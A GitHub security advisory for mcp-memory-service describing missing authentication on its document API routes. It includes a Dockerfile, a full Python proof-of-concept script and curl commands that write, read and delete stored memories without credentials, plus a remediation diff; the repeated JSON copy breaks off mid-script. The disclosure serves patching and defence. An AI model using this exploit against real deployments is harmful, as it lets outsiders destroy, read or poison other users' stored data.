GHSA-84HP-MQVJ-3P8H

Vulnerability from github – Published: 2026-07-02 15:26 – Updated: 2026-07-02 15:26
VLAI
Summary
mcp-memory-service: Missing Authentication on Document API Endpoints Allows Unauthenticated Memory Read/Write/Delete
Details

Missing Authentication on Document API Endpoints Allows Unauthenticated Memory Read/Write/Delete

Summary

All HTTP routes under /api/documents/* in mcp-memory-service are served without any authentication dependency, even when the server is configured with an API key (MCP_API_KEY) or OAuth. An unauthenticated remote attacker can upload arbitrary content into the memory store (write), retrieve stored document content (read), and permanently delete memories belonging to authenticated users (delete) — all without supplying any credentials. The /api/memories counterpart correctly enforces authentication, making this an inconsistent and exploitable authentication boundary. CVSS 9.8 Critical.

Details

The documents.py router is instantiated without any router-level dependencies= parameter and the file does not import Depends at all, so no authentication guard is present on any of its routes:

  • src/mcp_memory_service/web/api/documents.py:33 — from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks (Depends is absent)
  • src/mcp_memory_service/web/api/documents.py:43 — router = APIRouter() (no dependencies= argument)

The affected endpoints and their data-flow sinks are:

Route Line (source) Sink Line (sink)
POST /upload 149 storage.store(memory) 449
POST /batch-upload — storage.store(memory) —
GET /history — upload metadata response —
GET /search-content/{upload_id} 729 memory content response 781
DELETE /remove/{upload_id} — storage deletion —
DELETE /remove-by-tags 687 storage.delete_by_tags(tags) 705

The router is mounted in src/mcp_memory_service/web/app.py:311:

app.include_router(documents_router, prefix="/api/documents")

No CORSMiddleware or authentication middleware applies to these routes at mount time.

By contrast, the equivalent write endpoint in memories.py is correctly protected:

# src/mcp_memory_service/web/api/memories.py:136
user: AuthenticationResult = Depends(require_write_access)

This demonstrates that the authentication infrastructure exists and is intentionally applied elsewhere, but was omitted from all documents.py routes.

PoC

Prerequisites

  • Docker installed
  • Repository cloned at repo

Build and run the container

docker build -t vuln-001-mcp-memory-poc \
  -f vuln-001/Dockerfile \
  repo

docker run -d --name vuln-001-poc-container \
  -p 18000:8000 vuln-001-mcp-memory-poc:latest

The container starts mcp-memory-service with MCP_API_KEY=poc-secret-key-12345, simulating a production deployment where the operator has enabled API-key authentication.

Execute the PoC

python3 vuln-001/poc.py \
  --host 127.0.0.1 --port 18000 --api-key poc-secret-key-12345

Attack chain (6 steps)

[STEP 1] GET /api/memories (no auth) → HTTP 401   ← auth guard is active on memories API
[STEP 2] POST /api/memories (with API key) → HTTP 200   ← legitimate user stores sensitive data
[STEP 3] GET /api/memories (with API key) → HTTP 200  memories_found=1   ← data confirmed
[STEP 4] POST /api/documents/upload (NO auth) → HTTP 200  upload_id=<uuid>   ← WRITE bypass
[STEP 5] DELETE /api/documents/remove-by-tags (NO auth) → HTTP 200  memories_deleted=1   ← DELETE bypass
[STEP 6] GET /api/memories (with API key) → HTTP 200  memories_remaining=0   ← integrity impact confirmed

Step 6 proves that an unauthenticated attacker deleted data created by a legitimately authenticated user in a single unauthenticated request.

Manual curl equivalent

# Confirm auth guard is active on /api/memories
curl -i http://127.0.0.1:18000/api/memories
# → 401 Unauthorized

# Write through document API — no credentials
printf 'CVE_AUTH_BYPASS_MARKER' > /tmp/poc.txt
UPLOAD_ID=$(
  curl -s -X POST http://127.0.0.1:18000/api/documents/upload \
    -F "file=@/tmp/poc.txt" -F "tags=cve-poc" |
  python3 -c 'import sys,json; print(json.load(sys.stdin)["upload_id"])'
)
# → 200 OK

sleep 3
curl -s "http://127.0.0.1:18000/api/documents/search-content/$UPLOAD_ID"
# → content returned without authentication

# Delete by tag — no credentials
curl -i -X DELETE "http://127.0.0.1:18000/api/documents/remove-by-tags" \
  -H "Content-Type: application/json" -d '["cve-poc"]'
# → 200 OK, memories_deleted=1

Observed output

  • GET /api/memories (no auth) returns 401 — the authentication guard is demonstrably active on the memories API.
  • POST /api/documents/upload (no auth) returns 200 with a valid upload_id.
  • DELETE /api/documents/remove-by-tags (no auth) returns 200 with memories_deleted=1.
  • A subsequent authenticated GET /api/memories returns memories_remaining=0, confirming that legitimately stored data was destroyed by an unauthenticated request.

Remediation

Add Depends(require_write_access) / Depends(require_read_access) to every affected route in documents.py:

--- a/src/mcp_memory_service/web/api/documents.py
+++ b/src/mcp_memory_service/web/api/documents.py
-from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks
+from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks, Depends
 from ..dependencies import get_storage
+from ..oauth.middleware import require_read_access, require_write_access, AuthenticationResult

 async def upload_document(
     background_tasks: BackgroundTasks,
     file: UploadFile = File(...),
+    user: AuthenticationResult = Depends(require_write_access),

 async def batch_upload_documents(
     background_tasks: BackgroundTasks,
     files: List[UploadFile] = File(...),
+    user: AuthenticationResult = Depends(require_write_access),

-async def get_upload_status(upload_id: str):
+async def get_upload_status(upload_id: str, user: AuthenticationResult = Depends(require_read_access)):

-async def get_upload_history():
+async def get_upload_history(user: AuthenticationResult = Depends(require_read_access)):

-async def remove_document(upload_id: str, remove_from_memory: bool = True):
+async def remove_document(upload_id: str, remove_from_memory: bool = True,
+    user: AuthenticationResult = Depends(require_write_access)):

-async def remove_documents_by_tags(tags: List[str]):
+async def remove_documents_by_tags(tags: List[str],
+    user: AuthenticationResult = Depends(require_write_access)):

-async def search_document_content(upload_id: str, limit: int = 1000):
+async def search_document_content(upload_id: str, limit: int = 1000,
+    user: AuthenticationResult = Depends(require_read_access)):

Impact

This is a Missing Authentication for Critical Function (CWE-306) vulnerability affecting the HTTP REST server component of mcp-memory-service.

Who is impacted: Any operator who deploys the HTTP REST server (memory server --http) with MCP_API_KEY or OAuth enabled, expecting that only authenticated clients can access stored memories. The HTTP server is documented as a supported production feature for team/multi-client deployments.

Confidentiality: An unauthenticated attacker can read recently uploaded document content via GET /api/documents/search-content/{upload_id} and enumerate upload history via GET /api/documents/history. Stored memories may contain sensitive context such as personal notes, AI agent working state, or proprietary data.

Integrity: An unauthenticated attacker can inject arbitrary content into the memory store by uploading documents, polluting the AI agent's knowledge base with attacker-controlled data (memory poisoning / prompt injection surface).

Availability: An unauthenticated attacker can delete all memories matching any chosen tags via DELETE /api/documents/remove-by-tags, or delete individual documents via DELETE /api/documents/remove/{upload_id}, causing permanent loss of stored data.

Reproduction artifacts

Dockerfile

FROM python:3.12-slim

ENV PYTHONDONTWRITEBYTECODE=1
ENV PYTHONUNBUFFERED=1
ENV HF_HOME=/root/.cache/huggingface

WORKDIR /app

RUN apt-get update && apt-get install -y --no-install-recommends \
 build-essential \
 && rm -rf /var/lib/apt/lists/*

# Install CPU-only torch first to avoid pulling the large CUDA wheel from PyPI
RUN pip install --no-cache-dir \
 "torch>=2.0.0" \
 --index-url https://download.pytorch.org/whl/cpu

# Copy and install the mcp-memory-service from the local repo
COPY . /app
RUN pip install --no-cache-dir -e .

# Pre-download the sentence-transformers embedding model so the container
# can run fully offline and starts quickly
RUN python -c "from sentence_transformers import SentenceTransformer; m = SentenceTransformer('all-MiniLM-L6-v2'); v = m.encode(['preflight']); print('Embedding model ready, dim=' + str(len(v[0])))"

# ── Runtime config ──────────────────────────────────────────────────────────
# MCP_API_KEY is set to simulate a production deployment where the operator
# has enabled API-key authentication. The bug is that /api/documents/* routes
# ignore this key entirely.
ENV MCP_API_KEY=poc-secret-key-12345
ENV MCP_MEMORY_STORAGE_BACKEND=sqlite_vec
ENV MCP_HTTP_PORT=8000
ENV MCP_HTTP_HOST=0.0.0.0
ENV MCP_MDNS_ENABLED=false
ENV MCP_CONSOLIDATION_ENABLED=false
ENV MCP_BACKUP_ENABLED=false
ENV MCP_QUALITY_SYSTEM_ENABLED=false
# Prevent any outbound HuggingFace requests at runtime
ENV TRANSFORMERS_OFFLINE=1
ENV HF_DATASETS_OFFLINE=1

EXPOSE 8000

CMD ["python", "run_server.py"]

poc.py

#!/usr/bin/env python3
"""
PoC – VULN-001: Missing Authentication on Document API Endpoints
CWE-306 Missing Authentication for Critical Function
CVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Attack chain:
 1. GET /api/memories (no auth) → 401 (auth guard confirmed active)
 2. POST /api/memories (with API key) → 200 (legitimate write)
 3. GET /api/memories (with API key) → 200 (data exists)
 4. POST /api/documents/upload (NO auth!) → 200 (write bypass)
 5. DELETE /api/documents/remove-by-tags (NO auth!) → 200 (delete bypass)
 6. GET /api/memories (with API key) → memory is GONE

Step 6 proves an unauthenticated attacker destroyed data created by a
legitimate, authenticated user — confirming full integrity impact.

Usage:
 python3 poc.py [--host 127.0.0.1] [--port 8000] [--api-key poc-secret-key-12345]
"""

import sys
import time
import json
import uuid
import argparse
import http.client

MARKER = "VULN001_AUTH_BYPASS_" + uuid.uuid4().hex[:12].upper()
TARGET_TAG = f"vuln001-target-{uuid.uuid4().hex[:6]}"


# ─── low-level helpers ───────────────────────────────────────────────────────

def http_req(host, port, method, path, body=None, headers=None, timeout=20):
 conn = http.client.HTTPConnection(host, port, timeout=timeout)
 h = dict(headers or {})
 conn.request(method, path, body=body, headers=h)
 resp = conn.getresponse()
 return resp.status, resp.read().decode("utf-8", errors="replace")


def wait_ready(host, port, timeout=120):
 print(f"[*] Waiting for server at {host}:{port} …", flush=True)
 deadline = time.time() + timeout
 while time.time() < deadline:
 try:
 s, _ = http_req(host, port, "GET", "/api/health", timeout=2)
 if s == 200:
 print("[+] Server ready\n", flush=True)
 return True
 except Exception:
 pass
 time.sleep(1)
 return False


def build_multipart(boundary, filename, file_bytes, tags_str):
 b = boundary.encode()
 return b"".join([
 b"--" + b + b"\r\n",
 b'Content-Disposition: form-data; name="file"; filename="' + filename.encode() + b'"\r\n',
 b"Content-Type: /plain\r\n\r\n",
 file_bytes,
 b"\r\n--" + b + b"\r\n",
 b'Content-Disposition: form-data; name="tags"\r\n\r\n',
 tags_str.encode(),
 b"\r\n--" + b + b"--\r\n",
 ])


# ─── individual test steps ───────────────────────────────────────────────────

def step_memories_no_auth(host, port):
 """GET /api/memories without auth must return 401."""
 print("[STEP 1] GET /api/memories (no auth — expect 401)", flush=True)
 status, body = http_req(host, port, "GET", "/api/memories")
 ok = (status == 401)
 print(f" {'PASS' if ok else 'FAIL'} HTTP {status}", flush=True)
 return ok, status


def step_store_memory_with_auth(host, port, api_key):
 """POST /api/memories with API key — store a 'legitimate' memory."""
 print(f"[STEP 2] POST /api/memories (with API key, tag={TARGET_TAG})", flush=True)
 payload = json.dumps({
 "content": f"Sensitive memory — {MARKER}",
 "tags": [TARGET_TAG, "vuln001-demo"],
 "memory_type": "observation",
 "metadata": {"poc": "VULN-001"}
 }).encode()
 headers = {
 "Content-Type": "application/json",
 "Content-Length": str(len(payload)),
 "X-API-Key": api_key,
 }
 status, body = http_req(host, port, "POST", "/api/memories", payload, headers)
 ok = status in (200, 201)
 content_hash = None
 try:
 content_hash = json.loads(body).get("content_hash")
 except Exception:
 pass
 print(f" {'PASS' if ok else 'FAIL'} HTTP {status} hash={content_hash}", flush=True)
 if not ok:
 print(f" body: {body[:300]}", flush=True)
 return ok, status, content_hash


def step_verify_memory_exists(host, port, api_key):
 """GET /api/memories with auth — confirm the memory is stored."""
 print("[STEP 3] GET /api/memories (with API key — confirm data exists)", flush=True)
 headers = {"X-API-Key": api_key}
 status, body = http_req(host, port, "GET", f"/api/memories?tags={TARGET_TAG}", headers=headers)
 ok = status == 200
 count = 0
 try:
 data = json.loads(body)
 count = data.get("total", len(data.get("memories", [])))
 except Exception:
 pass
 print(f" {'PASS' if ok else 'FAIL'} HTTP {status} memories_found={count}", flush=True)
 return ok, status, count


def step_upload_no_auth(host, port):
 """POST /api/documents/upload without any credentials — should return 200."""
 print("[STEP 4] POST /api/documents/upload (NO auth — expect 200)", flush=True)
 boundary = "PocBoundary" + uuid.uuid4().hex
 payload = f"EVIDENCE: {MARKER}\nUploaded without authentication — VULN-001.\n".encode()
 body = build_multipart(boundary, "poc_vuln001.txt", payload, "poc-evidence,vuln001-demo")
 headers = {
 "Content-Type": f"multipart/form-data; boundary={boundary}",
 "Content-Length": str(len(body)),
 }
 status, resp = http_req(host, port, "POST", "/api/documents/upload", body, headers)
 upload_id = None
 try:
 upload_id = json.loads(resp).get("upload_id")
 except Exception:
 pass
 ok = status == 200 and upload_id is not None
 print(f" {'PASS' if ok else 'FAIL'} HTTP {status} upload_id={upload_id}", flush=True)
 if not ok:
 print(f" body: {resp[:300]}", flush=True)
 return ok, status, upload_id


def step_delete_no_auth(host, port):
 """DELETE /api/documents/remove-by-tags without auth — should return 200."""
 print(f"[STEP 5] DELETE /api/documents/remove-by-tags (NO auth, tag={TARGET_TAG})", flush=True)
 # FastAPI 0.100+ treats List[str] in DELETE as request body (JSON array)
 body = json.dumps([TARGET_TAG, "vuln001-demo"]).encode()
 headers = {
 "Content-Type": "application/json",
 "Content-Length": str(len(body)),
 }
 status, resp = http_req(
 host, port, "DELETE", "/api/documents/remove-by-tags",
 body=body, headers=headers
 )
 ok = status == 200
 deleted = 0
 try:
 deleted = json.loads(resp).get("memories_deleted", 0)
 except Exception:
 pass
 print(f" {'PASS' if ok else 'FAIL'} HTTP {status} memories_deleted={deleted}", flush=True)
 if not ok:
 print(f" body: {resp[:300]}", flush=True)
 return ok, status, deleted


def step_verify_memory_gone(host, port, api_key):
 """GET /api/memories with auth — confirm attacker wiped the data."""
 print("[STEP 6] GET /api/memories (with API key — verify data was deleted)", flush=True)
 headers = {"X-API-Key": api_key}
 status, body = http_req(host, port, "GET", f"/api/memories?tags={TARGET_TAG}", headers=headers)
 ok = status == 200
 count = 0
 try:
 data = json.loads(body)
 count = data.get("total", len(data.get("memories", [])))
 except Exception:
 pass
 data_deleted = (ok and count == 0)
 print(f" {'PASS' if data_deleted else 'NOTE'} HTTP {status} memories_remaining={count}", flush=True)
 if data_deleted:
 print(" [+] Memory wiped by unauthenticated attacker — integrity impact confirmed!", flush=True)
 return ok, status, count


# ─── main ────────────────────────────────────────────────────────────────────

def main():
 ap = argparse.ArgumentParser(description="VULN-001 PoC — CWE-306 auth bypass")
 ap.add_argument("--host", default="127.0.0.1")
 ap.add_argument("--port", type=int, default=8000)
 ap.add_argument("--api-key", default="poc-secret-key-12345",
 help="API key configured on the server (simulates legitimate user)")
 args = ap.parse_args()

 print("=" * 65)
 print("VULN-001 Missing Authentication on Document API Endpoints")
 print("CWE-306 / CVSS 9.8 (Critical)")
 print("=" * 65 + "\n")

 if not wait_ready(args.host, args.port):
 print("[-] Server did not become ready", flush=True)
 sys.exit(2)

 r = {}

 # Step 1 — baseline: auth IS enforced on /api/memories
 ok1, s1 = step_memories_no_auth(args.host, args.port)
 r["step1_auth_guard_active"] = {
 "pass": ok1,
 "evidence": f"GET /api/memories (no auth) → HTTP {s1}"
 }

 # Step 2 — legitimate user stores a sensitive memory
 ok2, s2, content_hash = step_store_memory_with_auth(args.host, args.port, args.api_key)
 r["step2_legitimate_write"] = {
 "pass": ok2,
 "evidence": f"POST /api/memories (with API key) → HTTP {s2}"
 }

 # Step 3 — confirm memory exists
 ok3, s3, mem_count = step_verify_memory_exists(args.host, args.port, args.api_key)
 r["step3_data_present"] = {
 "pass": ok3 and mem_count > 0,
 "evidence": f"GET /api/memories (with API key) → HTTP {s3}, count={mem_count}"
 }

 # Step 4 — attacker uploads without auth (WRITE bypass)
 ok4, s4, upload_id = step_upload_no_auth(args.host, args.port)
 r["step4_upload_auth_bypass"] = {
 "pass": ok4,
 "evidence": f"POST /api/documents/upload (NO auth) → HTTP {s4}"
 }

 # Step 5 — attacker deletes WITHOUT auth (DELETE bypass)
 ok5, s5, deleted = step_delete_no_auth(args.host, args.port)
 r["step5_delete_auth_bypass"] = {
 "pass": ok5,
 "evidence": f"DELETE /api/documents/remove-by-tags (NO auth) → HTTP {s5}, deleted={deleted}"
 }

 # Step 6 — verify legitimate data is gone
 ok6, s6, remaining = step_verify_memory_gone(args.host, args.port, args.api_key)
 r["step6_integrity_impact"] = {
 "pass": ok6 and remaining == 0,
 "evidence": f"GET /api/memories (with API key) after attack → count={remaining} (was {mem_count})"
 }

 print("\n" + "=" * 65)
 print("RESULTS SUMMARY")
 print("=" * 65)
 for k, v in r.items():
 sym = "PASS" if v["pass"] else "FAIL"
 print(f" [{sym}] {v['evidence']}", flush=True)

 # Core bypass: /api/memories returns 401 BUT /api/documents/* returns 200 without auth
 bypass_proven = ok1 and ok4
 delete_bypass = ok1 and ok5

 print("\nKey evidence:")
 print(f" Auth guard ACTIVE : GET /api/memories (no auth) → HTTP {s1}")
 print(f" Write BYPASS : POST /api/documents/upload (no auth) → HTTP {s4}")
 print(f" Delete BYPASS : DELETE /api/documents/remove-by-tags (no auth) → HTTP {s5}")

 overall = "PASS – auth bypass confirmed" if (bypass_proven or delete_bypass) else "FAIL"
 print(f"\nVerdict: {overall}")
 print("=" * 65)
 sys.exit(0 if (bypass_proven or delete_bypass) else 1)


if __name__ == "__main__":
 main()
Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "mcp-memory-service"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "10.67.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-50027"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-02T15:26:23Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Missing Authentication on Document API Endpoints Allows Unauthenticated Memory Read/Write/Delete\n\n### Summary\n\nAll HTTP routes under `/api/documents/*` in `mcp-memory-service` are served without any authentication dependency, even when the server is configured with an API key (`MCP_API_KEY`) or OAuth. An unauthenticated remote attacker can upload arbitrary content into the memory store (write), retrieve stored document content (read), and permanently delete memories belonging to authenticated users (delete) \u2014 all without supplying any credentials. The `/api/memories` counterpart correctly enforces authentication, making this an inconsistent and exploitable authentication boundary. CVSS 9.8 Critical.\n\n### Details\n\nThe `documents.py` router is instantiated without any router-level `dependencies=` parameter and the file does not import `Depends` at all, so no authentication guard is present on any of its routes:\n\n- **`src/mcp_memory_service/web/api/documents.py:33`** \u2014 `from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks` (`Depends` is absent)\n- **`src/mcp_memory_service/web/api/documents.py:43`** \u2014 `router = APIRouter()` (no `dependencies=` argument)\n\nThe affected endpoints and their data-flow sinks are:\n\n| Route | Line (source) | Sink | Line (sink) |\n|---|---|---|---|\n| `POST /upload` | 149 | `storage.store(memory)` | 449 |\n| `POST /batch-upload` | \u2014 | `storage.store(memory)` | \u2014 |\n| `GET /history` | \u2014 | upload metadata response | \u2014 |\n| `GET /search-content/{upload_id}` | 729 | memory content response | 781 |\n| `DELETE /remove/{upload_id}` | \u2014 | storage deletion | \u2014 |\n| `DELETE /remove-by-tags` | 687 | `storage.delete_by_tags(tags)` | 705 |\n\nThe router is mounted in `src/mcp_memory_service/web/app.py:311`:\n\n```python\napp.include_router(documents_router, prefix=\"/api/documents\")\n```\n\nNo `CORSMiddleware` or authentication middleware applies to these routes at mount time.\n\nBy contrast, the equivalent write endpoint in `memories.py` is correctly protected:\n\n```python\n# src/mcp_memory_service/web/api/memories.py:136\nuser: AuthenticationResult = Depends(require_write_access)\n```\n\nThis demonstrates that the authentication infrastructure exists and is intentionally applied elsewhere, but was omitted from all `documents.py` routes.\n\n### PoC\n\n**Prerequisites**\n\n- Docker installed\n- Repository cloned at `repo`\n\n**Build and run the container**\n\n```bash\ndocker build -t vuln-001-mcp-memory-poc \\\n  -f vuln-001/Dockerfile \\\n  repo\n\ndocker run -d --name vuln-001-poc-container \\\n  -p 18000:8000 vuln-001-mcp-memory-poc:latest\n```\n\nThe container starts `mcp-memory-service` with `MCP_API_KEY=poc-secret-key-12345`, simulating a production deployment where the operator has enabled API-key authentication.\n\n**Execute the PoC**\n\n```bash\npython3 vuln-001/poc.py \\\n  --host 127.0.0.1 --port 18000 --api-key poc-secret-key-12345\n```\n\n**Attack chain (6 steps)**\n\n```\n[STEP 1] GET /api/memories (no auth) \u2192 HTTP 401   \u2190 auth guard is active on memories API\n[STEP 2] POST /api/memories (with API key) \u2192 HTTP 200   \u2190 legitimate user stores sensitive data\n[STEP 3] GET /api/memories (with API key) \u2192 HTTP 200  memories_found=1   \u2190 data confirmed\n[STEP 4] POST /api/documents/upload (NO auth) \u2192 HTTP 200  upload_id=\u003cuuid\u003e   \u2190 WRITE bypass\n[STEP 5] DELETE /api/documents/remove-by-tags (NO auth) \u2192 HTTP 200  memories_deleted=1   \u2190 DELETE bypass\n[STEP 6] GET /api/memories (with API key) \u2192 HTTP 200  memories_remaining=0   \u2190 integrity impact confirmed\n```\n\nStep 6 proves that an unauthenticated attacker deleted data created by a legitimately authenticated user in a single unauthenticated request.\n\n**Manual curl equivalent**\n\n```bash\n# Confirm auth guard is active on /api/memories\ncurl -i http://127.0.0.1:18000/api/memories\n# \u2192 401 Unauthorized\n\n# Write through document API \u2014 no credentials\nprintf \u0027CVE_AUTH_BYPASS_MARKER\u0027 \u003e /tmp/poc.txt\nUPLOAD_ID=$(\n  curl -s -X POST http://127.0.0.1:18000/api/documents/upload \\\n    -F \"file=@/tmp/poc.txt\" -F \"tags=cve-poc\" |\n  python3 -c \u0027import sys,json; print(json.load(sys.stdin)[\"upload_id\"])\u0027\n)\n# \u2192 200 OK\n\nsleep 3\ncurl -s \"http://127.0.0.1:18000/api/documents/search-content/$UPLOAD_ID\"\n# \u2192 content returned without authentication\n\n# Delete by tag \u2014 no credentials\ncurl -i -X DELETE \"http://127.0.0.1:18000/api/documents/remove-by-tags\" \\\n  -H \"Content-Type: application/json\" -d \u0027[\"cve-poc\"]\u0027\n# \u2192 200 OK, memories_deleted=1\n```\n\n**Observed output**\n\n- `GET /api/memories` (no auth) returns `401` \u2014 the authentication guard is demonstrably active on the memories API.\n- `POST /api/documents/upload` (no auth) returns `200` with a valid `upload_id`.\n- `DELETE /api/documents/remove-by-tags` (no auth) returns `200` with `memories_deleted=1`.\n- A subsequent authenticated `GET /api/memories` returns `memories_remaining=0`, confirming that legitimately stored data was destroyed by an unauthenticated request.\n\n**Remediation**\n\nAdd `Depends(require_write_access)` / `Depends(require_read_access)` to every affected route in `documents.py`:\n\n```diff\n--- a/src/mcp_memory_service/web/api/documents.py\n+++ b/src/mcp_memory_service/web/api/documents.py\n-from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks\n+from fastapi import APIRouter, UploadFile, File, Form, HTTPException, BackgroundTasks, Depends\n from ..dependencies import get_storage\n+from ..oauth.middleware import require_read_access, require_write_access, AuthenticationResult\n\n async def upload_document(\n     background_tasks: BackgroundTasks,\n     file: UploadFile = File(...),\n+    user: AuthenticationResult = Depends(require_write_access),\n\n async def batch_upload_documents(\n     background_tasks: BackgroundTasks,\n     files: List[UploadFile] = File(...),\n+    user: AuthenticationResult = Depends(require_write_access),\n\n-async def get_upload_status(upload_id: str):\n+async def get_upload_status(upload_id: str, user: AuthenticationResult = Depends(require_read_access)):\n\n-async def get_upload_history():\n+async def get_upload_history(user: AuthenticationResult = Depends(require_read_access)):\n\n-async def remove_document(upload_id: str, remove_from_memory: bool = True):\n+async def remove_document(upload_id: str, remove_from_memory: bool = True,\n+    user: AuthenticationResult = Depends(require_write_access)):\n\n-async def remove_documents_by_tags(tags: List[str]):\n+async def remove_documents_by_tags(tags: List[str],\n+    user: AuthenticationResult = Depends(require_write_access)):\n\n-async def search_document_content(upload_id: str, limit: int = 1000):\n+async def search_document_content(upload_id: str, limit: int = 1000,\n+    user: AuthenticationResult = Depends(require_read_access)):\n```\n\n### Impact\n\nThis is a **Missing Authentication for Critical Function (CWE-306)** vulnerability affecting the HTTP REST server component of `mcp-memory-service`.\n\n**Who is impacted:** Any operator who deploys the HTTP REST server (`memory server --http`) with `MCP_API_KEY` or OAuth enabled, expecting that only authenticated clients can access stored memories. The HTTP server is documented as a supported production feature for team/multi-client deployments.\n\n**Confidentiality:** An unauthenticated attacker can read recently uploaded document content via `GET /api/documents/search-content/{upload_id}` and enumerate upload history via `GET /api/documents/history`. Stored memories may contain sensitive context such as personal notes, AI agent working state, or proprietary data.\n\n**Integrity:** An unauthenticated attacker can inject arbitrary content into the memory store by uploading documents, polluting the AI agent\u0027s knowledge base with attacker-controlled data (memory poisoning / prompt injection surface).\n\n**Availability:** An unauthenticated attacker can delete all memories matching any chosen tags via `DELETE /api/documents/remove-by-tags`, or delete individual documents via `DELETE /api/documents/remove/{upload_id}`, causing permanent loss of stored data.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.12-slim\n\nENV PYTHONDONTWRITEBYTECODE=1\nENV PYTHONUNBUFFERED=1\nENV HF_HOME=/root/.cache/huggingface\n\nWORKDIR /app\n\nRUN apt-get update \u0026\u0026 apt-get install -y --no-install-recommends \\\n build-essential \\\n \u0026\u0026 rm -rf /var/lib/apt/lists/*\n\n# Install CPU-only torch first to avoid pulling the large CUDA wheel from PyPI\nRUN pip install --no-cache-dir \\\n \"torch\u003e=2.0.0\" \\\n --index-url https://download.pytorch.org/whl/cpu\n\n# Copy and install the mcp-memory-service from the local repo\nCOPY . /app\nRUN pip install --no-cache-dir -e .\n\n# Pre-download the sentence-transformers embedding model so the container\n# can run fully offline and starts quickly\nRUN python -c \"from sentence_transformers import SentenceTransformer; m = SentenceTransformer(\u0027all-MiniLM-L6-v2\u0027); v = m.encode([\u0027preflight\u0027]); print(\u0027Embedding model ready, dim=\u0027 + str(len(v[0])))\"\n\n# \u2500\u2500 Runtime config \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n# MCP_API_KEY is set to simulate a production deployment where the operator\n# has enabled API-key authentication. The bug is that /api/documents/* routes\n# ignore this key entirely.\nENV MCP_API_KEY=poc-secret-key-12345\nENV MCP_MEMORY_STORAGE_BACKEND=sqlite_vec\nENV MCP_HTTP_PORT=8000\nENV MCP_HTTP_HOST=0.0.0.0\nENV MCP_MDNS_ENABLED=false\nENV MCP_CONSOLIDATION_ENABLED=false\nENV MCP_BACKUP_ENABLED=false\nENV MCP_QUALITY_SYSTEM_ENABLED=false\n# Prevent any outbound HuggingFace requests at runtime\nENV TRANSFORMERS_OFFLINE=1\nENV HF_DATASETS_OFFLINE=1\n\nEXPOSE 8000\n\nCMD [\"python\", \"run_server.py\"]\n```\n\n#### `poc.py`\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nPoC \u2013 VULN-001: Missing Authentication on Document API Endpoints\nCWE-306 Missing Authentication for Critical Function\nCVSS 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\nAttack chain:\n 1. GET /api/memories (no auth) \u2192 401 (auth guard confirmed active)\n 2. POST /api/memories (with API key) \u2192 200 (legitimate write)\n 3. GET /api/memories (with API key) \u2192 200 (data exists)\n 4. POST /api/documents/upload (NO auth!) \u2192 200 (write bypass)\n 5. DELETE /api/documents/remove-by-tags (NO auth!) \u2192 200 (delete bypass)\n 6. GET /api/memories (with API key) \u2192 memory is GONE\n\nStep 6 proves an unauthenticated attacker destroyed data created by a\nlegitimate, authenticated user \u2014 confirming full integrity impact.\n\nUsage:\n python3 poc.py [--host 127.0.0.1] [--port 8000] [--api-key poc-secret-key-12345]\n\"\"\"\n\nimport sys\nimport time\nimport json\nimport uuid\nimport argparse\nimport http.client\n\nMARKER = \"VULN001_AUTH_BYPASS_\" + uuid.uuid4().hex[:12].upper()\nTARGET_TAG = f\"vuln001-target-{uuid.uuid4().hex[:6]}\"\n\n\n# \u2500\u2500\u2500 low-level helpers \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\n\ndef http_req(host, port, method, path, body=None, headers=None, timeout=20):\n conn = http.client.HTTPConnection(host, port, timeout=timeout)\n h = dict(headers or {})\n conn.request(method, path, body=body, headers=h)\n resp = conn.getresponse()\n return resp.status, resp.read().decode(\"utf-8\", errors=\"replace\")\n\n\ndef wait_ready(host, port, timeout=120):\n print(f\"[*] Waiting for server at {host}:{port} \u2026\", flush=True)\n deadline = time.time() + timeout\n while time.time() \u003c deadline:\n try:\n s, _ = http_req(host, port, \"GET\", \"/api/health\", timeout=2)\n if s == 200:\n print(\"[+] Server ready\\n\", flush=True)\n return True\n except Exception:\n pass\n time.sleep(1)\n return False\n\n\ndef build_multipart(boundary, filename, file_bytes, tags_str):\n b = boundary.encode()\n return b\"\".join([\n b\"--\" + b + b\"\\r\\n\",\n b\u0027Content-Disposition: form-data; name=\"file\"; filename=\"\u0027 + filename.encode() + b\u0027\"\\r\\n\u0027,\n b\"Content-Type: /plain\\r\\n\\r\\n\",\n file_bytes,\n b\"\\r\\n--\" + b + b\"\\r\\n\",\n b\u0027Content-Disposition: form-data; name=\"tags\"\\r\\n\\r\\n\u0027,\n tags_str.encode(),\n b\"\\r\\n--\" + b + 